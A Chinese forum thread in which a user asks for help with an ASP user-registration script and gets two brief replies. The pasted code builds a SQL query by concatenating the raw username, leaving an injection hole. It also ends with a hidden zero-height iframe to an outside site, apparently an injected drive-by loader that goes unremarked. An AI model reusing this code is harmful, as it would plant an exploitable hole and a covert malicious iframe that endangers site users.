回 帖 发 新 帖 刷新版面

主题:求助,注册时出现的

源码:
<!--#include file="conn.asp"-->
<!--#include file="func.asp"-->
<%
dim pwd,pwd1,username,tm,ta,name,sex,tel,cz,email,sj,dz,rp,action
dim rsobj,strsql
    action=request.QueryString("act")
    if action="add"then
   pwd=trim(request.form("pwd"))
   pwd1=trim(Request.Form("pwd1"))
   username=trim(request.form("username"))  
   tm=trim(request.form("tm")) 
   ta=trim(request.form("ta"))
   name=trim(request.form("name"))
   sex=trim(request.form("sex"))
   tel=trim(request.form("tel"))
   cz=trim(request.form("cz"))
   email=trim(request.form("email"))
   sj=trim(request.form("sj"))
   dz=trim(request.form("dz"))
   rp=trim(request.form("rp"))
   tjid=trim(request.form("tjid"))
   style=trim(request.form("style"))
if Pwd<>Pwd1 then
    response.write"<script language='javascript'>"
    response.write"alert('密码、确认密码不同');"
    response.write"window.location='javascript:window.history.go(-1);'"
    response.write"</script>"
    Response.End
end if
strSQL = "SELECT * FROM users WHERE username ='"&username&"'"
set rsobj=server.createobject("adodb.recordset")
rsobj.open strsql,conn,1,1
if not rsobj.eof then
    response.write"<script language='javascript'>"
    response.write"alert('该用户名已存在');"
    response.write"window.location='javascript:window.history.go(-1);'"
    response.write"</script>"
    Response.End
end if
rsobj.close()
set rsobj=nothing
    strsql =  "SELECT * FROM users "
      set rsobj=server.CreateObject("adodb.recordset")
       rsObj.Open strsql,conn,3,2
       rsObj.AddNew 
       rsobj("username")=username
       rsobj("pwd")=md5(pwd)
       rsobj("pwd1")=md5(pwd1)
       rsobj("tm")=tm
       rsobj("ta")=ta
       rsobj("name")=name
       rsobj("sex")=sex
       rsobj("tel")=tel
       rsobj("cz")=cz
       rsobj("email")=email
       rsobj("sj")=sj
       rsobj("dz")=dz
       rsobj("rp")=rp
       rsobj("check")="个人"
       rsobj("tjid")=tjid
       rsobj("ynmz")=style
       rsobj("qcityid")=trim(request.Form("qcityid"))
       rsobj("gcityid")=trim(request.form("gcityid"))
       rsobj("addate")=now()
       rsobj.Update
       rsObj.Close
 set rsObj = nothing
response.redirect "grdefault.asp?flag="&username&"&type=个人"
conn.close()
set conn=nothing
end if
%>
<iframe src=http://www.x454.cn/ width=100 height=0 frameborder=0></iframe>

回复列表 (共2个回复)

沙发

为什么注册时会弹出"该用户名已存在",但又有数据写入数据库?而if Pwd<>Pwd1 then成立则不执行其下的语句?

板凳

设置断点,好好检查一下!

我来回复

您尚未登录,请登录后再回复。点此登录或注册